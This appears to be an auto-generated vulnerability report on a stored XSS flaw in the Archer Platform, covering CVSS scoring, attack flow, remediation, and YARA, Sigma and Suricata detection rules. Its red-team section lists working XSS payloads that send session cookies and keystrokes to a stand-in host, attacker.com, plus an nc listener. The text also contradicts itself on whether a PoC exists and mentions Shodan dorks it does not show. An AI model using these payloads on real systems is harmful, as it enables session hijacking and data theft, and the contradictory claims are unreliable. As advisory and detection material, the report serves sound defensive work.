CVE-2024-26313
Executive Summary
CVE-2024-26313 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, versions 6.x before 6.14 P2 HF2 (6.14.0.2.2) and 6.13.x before 6.13.P3 HF1 (6.13.0.3.1). A remote authenticated malicious Archer user can inject malicious HTML or JavaScript code into a trusted application data store. When other victim users access this data store through their browsers, the malicious code executes in the context of the vulnerable application. The CVSS score is 7.3 (High), with a low EPSS probability of 0.0%. No public proof-of-concept (POC) or exploit code is currently available. The vendor has released patches, but the patch status is marked as UNKNOWN in the original NVD data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects the proprietary Archer Platform, a commercial governance, risk, and compliance (GRC) solution. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs authenticated access.
- User Interaction (UI): Required (R) – Victim must access the malicious data store.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High. While the EPSS score is low, the vulnerability allows persistent code execution in a trusted application context, enabling data theft, session hijacking, and further attacks.
Deep Dive & Mechanics
The vulnerability resides in the Archer Platform's data store functionality. An authenticated user with low privileges can submit malicious HTML or JavaScript payloads through input fields that are not properly sanitized. The platform stores this input in a trusted data store (e.g., a database or file system). When other users (including administrators) view the data store through their browsers, the malicious code is rendered and executed.
Attack Flow:
- Attacker authenticates to the Archer Platform.
- Attacker crafts a malicious payload (e.g.,
<script>alert('XSS')</script>) and submits it via a vulnerable input field. - The platform stores the payload without proper encoding or sanitization.
- Victim user navigates to the affected data store page.
- The browser executes the malicious script in the context of the Archer application.
- The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: Insufficient input validation and output encoding in the Archer Platform's data store components.
Vulnerable vs. Patched Code
No specific code snippets are available from public sources. However, the fix involves implementing proper input sanitization and output encoding.
Vulnerable (Conceptual):
// Server-side: Storing user input without sanitization
function saveData(userInput) {
db.store("data", userInput);
}
// Client-side: Rendering without encoding
function renderData(data) {
document.getElementById("content").innerHTML = data;
}
Patched (Conceptual):
// Server-side: Sanitize input
function saveData(userInput) {
var sanitized = sanitizeHtml(userInput);
db.store("data", sanitized);
}
// Client-side: Use safe rendering
function renderData(data) {
var safeData = encodeHtml(data);
document.getElementById("content").textContent = safeData;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Archer Platform instance (version 6.x before 6.14 P2 HF2 or 6.13.x before 6.13.P3 HF1).
- Valid low-privileged user credentials.
Exploitation Steps:
- Log in to the Archer Platform.
- Navigate to a data store input field (e.g., a comment or description field).
- Inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for a victim user to view the data store.
- The victim's browser will execute the script, sending their session cookie to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Keylogging:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team
Detection:
- Monitor for unusual input patterns in data store fields (e.g.,
<script>,onerror=,javascript:). - Use web application firewalls (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply the vendor patch immediately.
- If patching is not possible, restrict access to the Archer Platform to trusted users only.
- Enable input validation and output encoding at the application level.
Lab Setup:
- Deploy a vulnerable Archer Platform instance in an isolated environment.
- Create a test user with low privileges.
- Use a browser developer tools to inspect and modify requests.
- Set up a listener (e.g.,
nc -lvnp 8080) to capture exfiltrated data.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains containing cookie data.
- Unusual
Refererheaders pointing to Archer data store pages.
- Host:
- Browser console errors related to script execution.
- Unexpected JavaScript files in browser cache.
- Application:
- Data store entries containing HTML tags or JavaScript code.
- User accounts with unexpected activity (e.g., accessing data stores they normally don't).
Detection Engineering
YARA Rule
rule Archer_Stored_XSS_CVE_2024_26313 {
meta:
description = "Detects stored XSS payloads in Archer Platform data stores"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-26313"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Archer Platform Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in Archer Platform data store submissions
author: Valters IT
date: 2024-01-01
references:
- CVE-2024-26313
logsource:
category: web
product: archer
detection:
selection:
http.method: POST
http.url|contains: "/data/store"
http.body|contains:
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in data stores (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Archer Platform Stored XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Archer Platform 6.14 P2 HF2 (6.14.0.2.2) or 6.13.P3 HF1 (6.13.0.3.1).
- Workaround: If patching is delayed, restrict access to the Archer Platform to trusted IP addresses and enforce multi-factor authentication (MFA).
- WAF Rules: Deploy WAF rules to block common XSS patterns (e.g.,
<script>,onerror=,javascript:).
Long-Term Measures:
- Implement a Content Security Policy (CSP) to restrict script execution.
- Conduct regular security audits and penetration testing.
- Train users to recognize and report suspicious behavior.
- Enable logging and monitoring for all data store modifications.
Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation support, contact Valters IT.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.